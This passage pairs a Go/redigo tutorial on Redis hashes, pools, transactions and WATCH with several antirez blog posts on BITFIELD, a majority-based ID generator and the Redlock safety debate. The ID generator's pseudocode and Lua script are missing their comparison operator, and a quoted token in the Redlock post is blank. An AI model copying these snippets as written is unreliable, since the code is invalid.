HGETALL // returns an array reply, and because the underlying data structure // in Redis is a hash, it makes sense to use the Map() helper // function to convert the reply to a map[string]string. reply, err := redis.StringMap(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Use the populateAlbum helper function to create a new Album // object from the map[string]string. album, err := populateAlbum(reply) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } // Create, populate and return a pointer to a new Album struct, based // on data from a map[string]string. func populateAlbum(reply map[string]string) (*Album, error) { var err error album := new(Album) album.Title = reply["title"] album.Artist = reply["artist"] // We need to use the strconv package to convert the 'price' value // from a string to a float64 before assigning it. album.Price, err = strconv.ParseFloat(reply["price"], 64) if err != nil { return nil, err } // Similarly, we need to convert the 'likes' value from a string to // an integer. album.Likes, err = strconv.Atoi(reply["likes"]) if err != nil { return nil, err } return album, nil } Running this code should give an output like: $ go run main.go &{Title:Electric Ladyland Artist:Jimi Hendrix Price:4.95 Likes:8} Or an alternative, and arguably neater, approach is to use the redis.Values() and redis.ScanStruct() functions to automatically unpack the data to the Album struct, like so: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. Notice the struct tags? // These indicate to redigo how to assign the data from the reply into // the struct. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Wrapping this // in the redis.Values() function transforms the response into type // []interface{}, which is the format we need to pass to // redis.ScanStruct() in the next step. values, err := redis.Values(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Create an instance of an Album struct and use redis.ScanStruct() // to automatically unpack the data to the struct fields. This uses // the struct tags to determine which data is mapped to which // struct fields. var album Album err = redis.ScanStruct(values, &album) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } Note: Behind the scenes the redis.ScanStruct() function uses Go's strconv package to convert the values returned from Redis in to the appropriate Go type for the struct field — similar in principle to what we did in the previous example. By default this supports integer, float, boolean, string and []byte fields. If you need to automatically scan into a custom type, you can do so by implemeting the redis.Scanner() interface on your custom type. Using in a web application One important thing to know about gomodule/redigo/redis is that the Conn object (which is returned by the Dial() function we've been using so far) is not safe for concurrent use. If we want to access a single Redis server from multiple goroutines, as we would in a web application, we must use establish a pool of Redis connections, and each time we want to use a connection we fetch it from the pool, execute our command on it, and return it too the pool. We'll illustrate this in a simple web application, building on the online record store example we've already used. Our finished app will support 3 functions: MethodPathFunction GET/album?id=1Show details of a specific album (using the id provided in the query string) POST/likeAdd a new like for a specific album (using the id provided in the request body) GET/popularList the top 3 most liked albums in order To avoid detracting from the main purpose of this blog post (which is talking about Redis) we'll use a deliberately over-simplified pattern for our web application. If you'd like to follow along, create a basic application scaffold like so… $ mkdir recordstore && cd recordstore $ go mod init example.com/recordstore go: creating new go.mod: module example.com/recordstore $ touch main.go albums.go $ tree . ├── albums.go ├── go.mod └── main.go …And use the Redis CLI to add a few additional albums, along with a new likes sorted set. This sorted set will be used within the GET /popular route to help us quickly and efficiently retrieve the ids of albums with the most likes. Here's the commands to run: HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 HMSET album:2 title "Back in Black" artist "AC/DC" price 5.95 likes 3 HMSET album:3 title "Rumours" artist "Fleetwood Mac" price 7.95 likes 12 HMSET album:4 title "Nevermind" artist "Nirvana" price 5.95 likes 8 ZADD likes 8 1 3 2 12 3 8 4 In the albums.go file we'll define a global variable to hold a Redis connection pool, and we'll re-purpose the code we wrote earlier into a FindAlbum() function that we can use from our HTTP handlers. File: albums.go package main import ( "errors" "github.com/gomodule/redigo/redis" ) // Declare a pool variable to hold the pool of Redis connections. var pool *redis.Pool var ErrNoAlbum = errors.New("no album found") // Define a custom struct to hold Album data. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func FindAlbum(id string) (*Album, error) { // Use the connection pool's Get() method to fetch a single Redis // connection from the pool. conn := pool.Get() // Importantly, use defer and the connection's Close() method to // ensure that the connection is always returned to the pool before // FindAlbum() exits. defer conn.Close() // Fetch the details of a specific album. If no album is found // the given id, the []interface{} slice returned by redis.Values // will have a length of zero. So check for this and return an // ErrNoAlbum error as necessary. values, err := redis.Values(conn.Do("HGETALL", "album:"+id)) if err != nil { return nil, err } else if len(values) == 0 { return nil, ErrNoAlbum } var album Album err = redis.ScanStruct(values, &album) if err != nil { return nil, err } return &album, nil } Alright, let's head over to the main.go file. In this we will initialize the connection pool and set up a simple web server and HTTP handler for the GET /album route. File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { // Initialize a connection pool and assign it to the pool global // variable. pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } func showAlbum(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method // Not Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the request URL query string. If there is // no id key in the query string then Get() will return an empty // string. We check for this, returning a 400 Bad Request response // if it's missing. id := r.URL.Query().Get("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the FindAlbum() function passing in the user-provided id. // If there's no matching album found, return a 404 Not Found // response. In the event of any other errors, return a 500 // Internal Server Error response. bk, err := FindAlbum(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Write the album details as plain text to the client. fmt.Fprintf(w, "%s by %s: £%.2f [%d likes] \n", bk.Title, bk.Artist, bk.Price, bk.Likes) } It's worth elaborating on the redis.Pool settings. In the above code we specify a MaxIdle size of 10, which simply limits the number of idle connections waiting in the pool to 10 at any one time. If all 10 connections are in use when an additional pool.Get() call is made a new connection will be created on the fly. The IdleTimeout setting is set to 240 seconds, which means that any connections that are idle for longer than that will be removed from the pool. If you run the application: $ go run . 2019/08/17 11:01:41 Listening on :4000... And make a request for one of the albums using cURL you should get a response like this: $ curl -i localhost:4000/album?id=2 HTTP/1.1 200 OK Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [3 likes] Using transactions The second route, POST /likes, is quite interesting. When a user likes an album we need to issue two distinct commands: a HINCRBY to increment the likes field in the album hash, and a ZINCRBY to increment the relevant score in our likes sorted set. This creates a problem. Ideally we would want both keys to be incremented at exactly the same time as a single atomic action. Having one key updated after the other opens up the potential for race conditions to occur. The solution to this is to use Redis transactions, which let us run multiple commands together as an atomic group. To do this we use the MULTI command to start a transaction, followed by the commands (in our case a HINCRBY and ZINCRBY), and finally the EXEC command (which then executes our both our commands together as an atomic group). Let's create a new IncrementLikes() function in the albums.go file which uses this technique. File: albums.go ... func IncrementLikes(id string) error { conn := pool.Get() defer conn.Close() // Before we do anything else, check that an album with the given // id exists. The EXISTS command returns 1 if a specific key exists // in the database, and 0 if it doesn't. exists, err := redis.Int(conn.Do("EXISTS", "album:"+id)) if err != nil { return err } else if exists == 0 { return ErrNoAlbum } // Use the MULTI command to inform Redis that we are starting a new // transaction. The conn.Send() method writes the command to the // connection's output buffer -- it doesn't actually send it to the // Redis server... despite it's name! err = conn.Send("MULTI") if err != nil { return err } // Increment the number of likes in the album hash by 1. Because it // follows a MULTI command, this HINCRBY command is NOT executed but // it is QUEUED as part of the transaction. We still need to check // the reply's Err field at this point in case there was a problem // queueing the command. err = conn.Send("HINCRBY", "album:"+id, "likes", 1) if err != nil { return err } // And we do the same with the increment on our sorted set. err = conn.Send("ZINCRBY", "likes", 1, id) if err != nil { return err } // Execute both commands in our transaction together as an atomic // group. EXEC returns the replies from both commands but, because // we're not interested in either reply in this example, it // suffices to simply check for any errors. Note that calling the // conn.Do() method flushes the previous commands from the // connection output buffer and sends them to the Redis server. _, err = conn.Do("EXEC") if err != nil { return err } return nil } We'll also update the main.go file to add an addLike() handler for the route: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func addLike(w http.ResponseWriter, r *http.Request) { // Unless the request is using the POST method, return a 405 // Method Not Allowed response. if r.Method != http.MethodPost { w.Header().Set("Allow", http.MethodPost) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the POST request body. If there is no // parameter named "id" in the request body then PostFormValue() // will return an empty string. We check for this, returning a 400 // Bad Request response if it's missing. id := r.PostFormValue("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the IncrementLikes() function passing in the user-provided // id. If there's no album found with that id, return a 404 Not // Found response. In the event of any other errors, return a 500 // Internal Server Error response. err := IncrementLikes(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Redirect the client to the GET /album route, so they can see the // impact their like has had. http.Redirect(w, r, "/album?id="+id, 303) } If you make a POST request to like one of the albums you should now get a response like: $ curl -i -L -d "id=2" localhost:4000/like HTTP/1.1 303 See Other Location: /album?id=2 Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 0 HTTP/1.1 200 OK Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [4 likes] Using the Watch command OK, on to our final route: GET /popular. This route will display the details of the top 3 albums with the most likes, so to facilitate this we'll create a FindTopThree() function in the albums.go file. In this function we need to: Use the ZREVRANGE command to fetch the 3 album ids with the highest score (i.e. most likes) from our likes sorted set. Loop through the returned ids, using the HGETALL command to retrieve the details of each album and add them to a []*Album slice. Again, it's possible to imagine a race condition occurring here. If a second client happens to like an album at the exact moment between our ZREVRANGE command and the HGETALLs for all 3 albums being completed, our user could end up being sent wrong or mis-ordered data. The solution here is to use the Redis WATCH command in conjunction with a transaction. WATCH instructs Redis to monitor a specific key for any changes. If another client or connection modifies our watched key between our WATCH instruction and our subsequent transaction's EXEC, the transaction will fail and return a nil reply. If no client changes the value before our EXEC, the transaction will complete as normal. We can execute our code in a loop until the transaction is successful. File: albums.go package main ... func FindTopThree() ([]*Album, error) { conn := pool.Get() defer conn.Close() // Begin an infinite loop. In a real application, you might want to // limit this to a set number of attempts, and return an error if // the transaction doesn't successfully complete within those // attempts. for { // Instruct Redis to watch the likes sorted set for any changes. _, err := conn.Do("WATCH", "likes") if err != nil { return nil, err } // Use the ZREVRANGE command to fetch the album ids with the // highest score (i.e. most likes) from our 'likes' sorted set. // The ZREVRANGE start and stop values are zero-based indexes, // so we use 0 and 2 respectively to limit the reply to the top // three. Because ZREVRANGE returns an array response, we use // the Strings() helper function to convert the reply into a // []string. ids, err := redis.Strings(conn.Do("ZREVRANGE", "likes", 0, 2)) if err != nil { return nil, err } // Use the MULTI command to inform Redis that we are starting // a new transaction. err = conn.Send("MULTI") if err != nil { return nil, err } // Loop through the ids returned by ZREVRANGE, queuing HGETALL // commands to fetch the individual album details. for _, id := range ids { err := conn.Send("HGETALL", "album:"+id) if err != nil { return nil, err } } // Execute the transaction. Importantly, use the redis.ErrNil // type to check whether the reply from EXEC was nil or not. If // it is nil it means that another client changed the WATCHed // likes sorted set, so we use the continue command to re-run // the loop. replies, err := redis.Values(conn.Do("EXEC")) if err == redis.ErrNil { log.Print("trying again") continue } else if err != nil { return nil, err } // Create a new slice to store the album details. albums := make([]*Album, 3) // Iterate through the array of response objects, using the // ScanStruct() function to assign the data to Album structs. for i, reply := range replies { var album Album err = redis.ScanStruct(reply.([]interface{}), &album) if err != nil { return nil, err } albums[i] = &album } return albums, nil } } Using this from our web application is nice and straightforward: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) mux.HandleFunc("/popular", listPopular) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func listPopular(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method Not // Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Call the FindTopThree() function, returning a return a 500 Internal // Server Error response if there's any error. albums, err := FindTopThree() if err != nil { http.Error(w, http.StatusText(500), 500) return } // Loop through the 3 albums, writing the details as a plain text list // to the client. for i, ab := range albums { fmt.Fprintf(w, "%d) %s by %s: £%.2f [%d likes] \n", i+1, ab.Title, ab.Artist, ab.Price, ab.Likes) } } One note about WATCH: a key will remain WATCHed until either we either EXEC (or DISCARD) our transaction, or we manually call UNWATCH on the key. So calling EXEC, as we do in the above example, is sufficient and the likes sorted set will be automatically UNWATCHed. Making a request to the GET /popular route should now yield a response similar to: $ curl -i localhost:4000/popular HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/plain; charset=utf-8 Date: Sat, 17 Aug 2019 17:10:13 GMT 1) Rumours by Fleetwood Mac: £7.95 [12 likes] 2) Nevermind by Nirvana: £5.95 [8 likes] 3) Electric Ladyland by Jimi Hendrix: £4.95 [8 likes]

• 100 more of those BITFIELDs
  Antirez · Feb 26, 2016

  Today Redis is 7 years old, so to commemorate the event a bit I passed the latest couple of days doing a fun coding marathon to implement a new crazy command called BITFIELD. The essence of this command is not new, it was proposed in the past by me and others, but never in a serious way, the idea always looked a bit strange. We already have bit operations in Redis: certain users love it, it’s a good way to represent a lot of data in a compact way. However so far we handle each bit separately, setting, testing, getting bits, counting all the bits that are set in a range, and so forth. What about implementing bitfields? Short or large, arbitrary sized integers, at arbitrary offsets, so that I can use a Redis string as an array of 5 bits signed integers, without losing a single bit of juice. A few days ago, Yoav Steinberg from Redis Labs, proposed a set of commands on arbitrary sized integers stored at bit offsets in a more serious way. I smiled when I read the email, since this was kinda of a secret dream. Starting from Yoav proposal and with other feedbacks from Redis Labs engineers, I wrote an initial specification of a single command with sub-commands, using short names for types definitions, and adding very fine grained control on the overflow semantics. I finished the first implementation a few minutes ago, since the plan was to release it for today, in the hope Redis appreciates we do actual work in its bday. The resulting BITFIELD command supports different subcommands: SET — Set the specified value and return its previous value. GET — Get the specified value. INCRBY — Increment the specified counter. There is an additional meta command called OVERFLOW, used to set (guess what) the overflow semantics of the commands that will follow (so OVERFLOW can be specified multiple times): OVERFLOW SAT — Saturation, so that overflowing in one direction or the other, will saturate the integer to its maximum value in the direction of the overflow. OVERFLOW WRAP — This is usual wrap around, but the interesting thing is that this also works for signed integers, by wrapping towards the most negative or most positive values. OVERFLOW FAIL — In this mode the operation is not performed at all if the value would overflow. The integer types can be specified using the “u” or “i” prefix followed by the number of bits, so for example u8, i5, u20 and i53 are valid types. There is a limitation: u64 cannot be specified since the Redis protocol is unable to return 64 bit unsigned integers currently. It's time for a few examples: in order to increment an unsigned integer of 8 bits I could use: 127.0.0.1:6379> BITFIELD mykey incrby u8 100 1 1) (integer) 3 This is incrementing an unsigned integer, 8 bits, at offset 100 (101th bit in the bitmap). However there is a different way to specify offsets, that is by prefixing the offset with “#”, in order to say: "handle the string as an array of counters of the specified size, and set the N-th counter". Basically this just means that if I use #10 with an 8 bits type, the offset is obtained by multiplying 8*10, this way I can address multiple counters independently without doing offsets math: 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 2 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 2 The ability to control the overflow is also interesting. For example an unsigned counter of 1 bit will actually toggle between 0 and 1 with the default overflow policy of “wrap”: 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 As you can see it alternates 0 and 1. Saturation can also be useful: 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -3 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -6 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 As you can see, decrementing 3 never goes under -8. Note that you can carry multiple operations in a single command. It always returns an array of results: 127.0.0.1:6379> BITFIELD mykey get i4 100 set u8 200 123 incrby u8 300 1 1) (integer) -8 2) (integer) 123 3) (integer) 7 The intended usage for this command is real time analytics, A/B testing, showing slightly different things to users every time by using the overflowing of integers. Packing so many small counters in a shared and memory efficient way can be exploited in many ways, but that’s left as an exercise for the talented programmers of the Redis community. The command will be backported into the stable version of Redis in the next weeks, so this will be usable very soon. Curious about the implementation? It's more complex you could expect probably: https://github.com/antirez/redis/commit/70af626d613ebd88123f87a941b0dd3570f9e7d2 Comments

• The binary search of distributed programming
  Antirez · Feb 13, 2016

  Yesterday night I was re-reading Redlock analysis Martin Kleppmann wrote (http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html). At some point Martin wonders if there is some good way to generate monotonically increasing IDs with Redis. This apparently simple problem can be more complex than it looks at a first glance, considering that it must ensure that, in all the conditions, there is a safety property which is always guaranteed: the ID generated is always greater than all the past IDs generated, and the same ID cannot be generated multiple times. This must hold during network partitions and other failures. The system may just become unavailable if there are less than the majority of nodes that can be reached, but never provide the wrong answer (note: as we'll see this algorithm has another liveness issue that happens during high load of requests). So for the sake of playing a bit more with distributed systems algorithms, and learn a bit more in the process, I tried to find a solution. Actually I was aware of an algorithm that could solve the problem. It’s an inefficient one, not suitable to generate tons of IDs per second. Many complex distributed algorithms, like Raft and Paxos, use it as a step in order to get monotonically increasing IDs, as a foundation to mount the full set of properties they need to provide. This algorithm is fascinating since it’s extremely easy to understand and implement, and because it’s very intuitive to understand *why* it works. I could say, it is the binary search of distributed algorithms, something easy enough but smart enough to let newcomers to distributed programming to have an ah!-moment. However I had to modify the algorithm in order to adapt it to be implemented in the client side. Hopefully it is still correct (feedbacks appreciated). While I’m not going to use this algorithm in order to improve Redlock (see my previous blog post), I think that trying to solve this kind of problems is both a good exercise, and it may be an interesting read for people approaching distributed systems for the first times looking for simple problems to play with in real world systems. ## How it works? The algorithm requirements are the following two: 1. A data store that supports the operation set_if_less_than(). 2. A data store that can fsync() data to disk on writes, before replying to the client. The above includes almost any *SQL server, Redis, and a number of other stores. We have a set of N nodes, let’s assume N = 5 for simplicity in order to explain the algorithm. We initialize the system by setting a key called “current” to the value of 0, so in Redis terms, we do: SET current 0 In all the 5 instances. This is part of the initialization and must be done only when a new “cluster” is initialized. This step can be skipped but makes the explanation simpler. In order to generate a new ID, this is what we do: 1: Get the “current” value from the majority of instances (3 or more if N=5). 2: If we failed to reach 3 instances, GOTO 1. 3: Get the maximum value among the ones we obtained, and increment it by 1. Let’s call this $NEXTID 4: Send the following write operation to all the nodes we are able to reach. IF current SET current $NEXTID return $NEXTID ELSE return NULL END 5: If 3 or more instances will reply $NEXTID, the algorithm succeeded, and we successfully generated a new monotonically increasing ID. 6: Otherwise, if we have not reached the majority, GOTO 1. What we send at step 4 can be easily translated to a simple Redis Lua script: local val = tonumber(redis.call('get',KEYS[1])) local nextid = tonumber(ARGV[1]) if val redis.call('set',KEYS[1],nextid) return nextid else return nil end ## Is it safe? The reason why I intuitively believe that it works, other than the fact that, in a modified form is used as a step in deeply analyzed algorithms, is that: If we are able to obtain the majority of “votes”, it is impossible by definition that any other client obtained the majority for an ID greater or equal to the one we generated. Otherwise there were already 3 or more instances with a value of current >= $NEXTID, and it would be impossible for us to get the majority. So the IDs generated are always greater than the past IDs, and for the same condition it is impossible for two instances to generate the same ID. Maybe some kind reader could point to a bug in the algorithm or to an analysis of this algorithm as used in other analyzed systems, however given that the above is adapted to be executed client-side, there are actually more processes involved and it should be re-analyzed in order to provide a proof that it is equivalent. ## Why it’s a slow algorithm? The problem with this algorithm is concurrent accesses. If many clients are trying to generate new IDs at the same time, nobody may get the majority, and they will need to retry again, with larger numbers. Note that this also means that there could be “holes” in the sequence of generated IDs, so the clients could be able to generate the sequence 1, 2, 6, 10, 11, 21, … Because many numbers could be “burn” by the split brain condition caused by concurrent access. (Note that in the above sentence "split brain" does not mean that there is an inconsistent state between the nodes, just that it was not possible to reach the majority to agree about a given ID. Usually split brain refers to a conflict in the configuration where, for example, multiple nodes claim to be a master. However in the Raft paper the term split brain is used with the same meaning I'm using here). How many IDs per second you can generate without incurring frequent failures due to concurrent accesses depends on the network RTT and number of concurrent clients. What’s interesting however is that you can make the algorithm more scalable by creating an “IDs server” that talks to the cluster, and mediates the access of the clients by serializing the generation of the new IDs one after the other. This does not create a single point of failure since you don’t need to have a single ID server, you can run a few for redundancy, and have hundreds of clients connecting to it. Using this schema to generate 5k IDs/sec, should be viable, especially if the client is implemented in a smart way, trying to send the requests to the 5 nodes at the same time, using some multiplexing or threaded approach. Another approach when there are many clients and no node mediating the access is to use randomized and exponential delays to contact the nodes again, if a round of the algorithm failed. ## Why fsync is needed? Here fsync at every write is mandatory because if nodes go down and restart, they MUST have the latest value of the “current” key. If the value of current returns backward, it is possible to violate our safety property that states that the newly generated IDs are always greater than any other ID generated in the past. However if you use a full replicated FSM to achieve the same goal, you need fsync anyway (but you don’t have the problem of the concurrent accesses. For example using Raft in normal conditions you have a single leader you can send requests to). So, in the case of Redis, it must be configured with AOF enabled and the AOF fsync policy set to always, to make sure the write is always persisted before to reply to the client. ## What do I do with those IDs A set of IDs like that, have a property which is called “total ordering”, so they are very useful in different contexts. Usually it is hard with distributed computations to say what happened before and what happened after. Using those IDs you always know the order of certain events. To give you a simple example: different processes, using this system, may compute a list of items, and take each sub-list in their local storage. At the end, they could merge the multiple lists and get a final list in the right order, as if there was a single shared list since the start where each process was able to append an item. ## Origins of this algorithm What described here closely resembles both Paxos first phase and Raft leader election. However it seems just a special case of Lamport timestamp where the majority is used in order to create total ordering. Many thanks to Max Neunhoeffer and Martin Kleppmann for feedbacks about the initial draft of this blog post. Note that any error is mine. Comments

• Is Redlock safe?
  Antirez · Feb 09, 2016

  Martin Kleppmann, a distributed systems researcher, yesterday published an analysis of Redlock (http://redis.io/topics/distlock), that you can find here: http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html Redlock is a client side distributed locking algorithm I designed to be used with Redis, but the algorithm orchestrates, client side, a set of nodes that implement a data store with certain capabilities, in order to create a multi-master fault tolerant, and hopefully safe, distributed lock with auto release capabilities. You can implement Redlock using MySQL instead of Redis, for example. The algorithm's goal was to move away people that were using a single Redis instance, or a master-slave setup with failover, in order to implement distributed locks, to something much more reliable and safe, but having a very low complexity and good performance. Since I published Redlock people implemented it in multiple languages and used it for different purposes. Martin's analysis of the algorithm concludes that Redlock is not safe. It is great that Martin published an analysis, I asked for an analysis in the original Redlock specification here: http://redis.io/topics/distlock. So thank you Martin. However I don’t agree with the analysis. The good thing is that distributed systems are, unlike other fields of programming, pretty mathematically exact, or they are not, so a given set of properties can be guaranteed by an algorithm or the algorithm may fail to guarantee them under certain assumptions. In this analysis I’ll analyze Martin's analysis so that other experts in the field can check the two documents (the analysis and the counter-analysis), and eventually we can understand if Redlock can be considered safe or not. Why Martin thinks Redlock is unsafe ----------------------------------- The arguments in the analysis are mainly two: 1. Distributed locks with an auto-release feature (the mutually exclusive lock property is only valid for a fixed amount of time after the lock is acquired) require a way to avoid issues when clients use a lock after the expire time, violating the mutual exclusion while accessing a shared resource. Martin says that Redlock does not have such a mechanism. 2. Martin says the algorithm is, regardless of problem “1”, inherently unsafe since it makes assumptions about the system model that cannot be guaranteed in practical systems. I’ll address the two concerns separately for clarity, starting with the first “1”. Distributed locks, auto release, and tokens ------------------------------------------- A distributed lock without an auto release mechanism, where the lock owner will hold it indefinitely, is basically useless. If the client holding the lock crashes and does not recover with full state in a short amount of time, a deadlock is created where the shared resource that the distributed lock tried to protect remains forever unaccessible. This creates a liveness issue that is unacceptable in most situations, so a sane distributed lock must be able to auto release itself. So practical locks are provided to clients with a maximum time to live. After the expire time, the mutual exclusion guarantee, which is the *main* property of the lock, is gone: another client may already have the lock. What happens if two clients acquire the lock at two different times, but the first one is so slow, because of GC pauses or other scheduling issues, that will try to do work in the context of the shared resource at the same time with second client that acquired the lock? Martin says that this problem is avoided by having the distributed lock server to provide, with every lock, a token, which is, in his example, just a number that is guaranteed to always increment. The rationale for Martin's usage of a token, is that this way, when two different clients access the locked resource at the same time, we can use the token in the database write transaction (that is assumed to materialize the work the client does): only the client with the greatest lock number will be able to write to the database. In Martin's words: “The fix for this problem is actually pretty simple: you need to include a fencing token with every write request to the storage service. In this context, a fencing token is simply a number that increases (e.g. incremented by the lock service) every time a client acquires the lock” … snip … “Note this requires the storage server to take an active role in checking tokens, and rejecting any writes on which the token has gone backwards”. I think this argument has a number of issues: 1. Most of the times when you need a distributed lock system that can guarantee mutual exclusivity, when this property is violated you already lost. Distributed locks are very useful exactly when we have no other control in the shared resource. In his analysis, Martin assumes that you always have some other way to avoid race conditions when the mutual exclusivity of the lock is violated. I think this is a very strange way to reason about distributed locks with strong guarantees, it is not clear why you would use a lock with strong properties at all if you can resolve races in a different way. Yet I’ll continue with the other points below just for the sake of showing that Redlock can work well in this, very artificial, context. 2. If your data store can always accept the write only if your token is greater than all the past tokens, than it’s a linearizable store. If you have a linearizable store, you can just generate an incremental ID for each Redlock acquired, so this would make Redlock equivalent to another distributed lock system that provides an incremental token ID with every new lock. However in the next point I’ll show how this is not needed. 3. However “2” is not a sensible choice anyway: most of the times the result of working to a shared resource is not writing to a linearizable store, so what to do? Each Redlock is associated with a large random token (which is generated in a way that collisions can be ignored. The Redlock specification assumes textually “20 bytes from /dev/urandom”). What do you do with a unique token? For example you can implement Check and Set. When starting to work with a shared resource, we set its state to “``”, then we operate the read-modify-write only if the token is still the same when we write. 4. Note that in certain use cases, one could say, it’s useful anyway to have ordered tokens. While it’s hard to think at an use case, note that for the same GC pauses Martin mentions, the order in which the token was acquired, does not necessarily respects the order in which the clients will attempt to work on the shared resource, so the lock order may not be casually related to the effects of working to a shared resource. 5. Most of the times, locks are used to access resources that are updated in a way that is non transactional. Sometimes we use distributed locks to move physical objects, for example. Or to interact with another external API, and so forth. I want to mention again that, what is strange about all this, is that it is assumed that you always must have a way to handle the fact that mutual exclusion is violated. Actually if you have such a system to avoid problems during race conditions, you probably don’t need a distributed lock at all, or at least you don’t need a lock with strong guarantees, but just a weak lock to avoid, most of the times, concurrent accesses for performances reasons. However even if you happen to agree with Martin about the fact the above is very useful, the bottom line is that a unique identifier for each lock can be used for the same goals, but is much more practical in terms of not requiring strong guarantees from the store. Let’s talk about system models ------------------------------ The above criticism is basically common to everything which is a distributed lock with auto release, not providing a monotonically increasing counter with each lock. However the other critique of Martin is specific to Redlock. Here Martin really analyzes the algorithm, concluding it is broken. Redlock assumes a semi synchronous system model where different processes can count time at more or less the same “speed”. The different processes don’t need in any way to have a bound error in the absolute time. What they need to do is just, for example, to be able to count 5 seconds with a maximum of 10% error. So one counts actual 4.5 seconds, another 5.5 seconds, and we are fine. Martin also states that Redlock requires bound messages maximum delays, which is not correct as far as I can tell (I’ll explain later what’s the problem with his reasoning). So let’s start with the issue of different processes being unable to count time at the same rate. Martin says that the clock can randomly jump in a system because of two issues: 1. The system administrator manually alters the clock. 2. The ntpd daemon changes the clock a lot because it receives an update. The above two problems can be avoided by “1” not doing this (otherwise even corrupting a Raft log with “echo foo > /my/raft/log.bin” is a problem), and “2” using an ntpd that does not change the time by jumping directly, but by distributing the change over the course of a larger time span. However I think Martin is right that Redis and Redlock implementations should switch to the monotonic time API provided by most operating systems in order to make the above issues less of a problem. This was proposed several times in the past, adds a bit of complexity inside Redis, but is a good idea: I’ll implement this in the next weeks. However while we’ll switch to monotonic time API, because there are advantages, processes running in an operating system without a software (time server) or human (system administrator) elements altering the clock, *can* count relative time with a bound error even with gettimeofday(). Note that there are past attempts to implement distributed systems even assuming a bound absolute time error (by using GPS units). Redlock does not require anything like that, just the ability of different processes to count 10 seconds as 9.5 or 11.2 (+/- 2 seconds max in the example), for instance. So is Redlock safe or not? It depends on the above. Let’s assume we use the monotonically increasing time API, for the sake of simplicity to rule out implementation details (system administrators with a love for POKE and time servers). Can a process count relative time with a fixed percentage of maximum error? I think this is a sounding YES, and is simpler to reply yes to this than to: “can a process write a log without corrupting it”? Network delays & co ------------------- Martin says that Redlock does not just depend on the fact that processes can count time at approximately the same time, he says: “However, Redlock is not like this. Its safety depends on a lot of timing assumptions: it assumes that all Redis nodes hold keys for approximately the right length of time before expiring; that that the network delay is small compared to the expiry duration; and that process pauses are 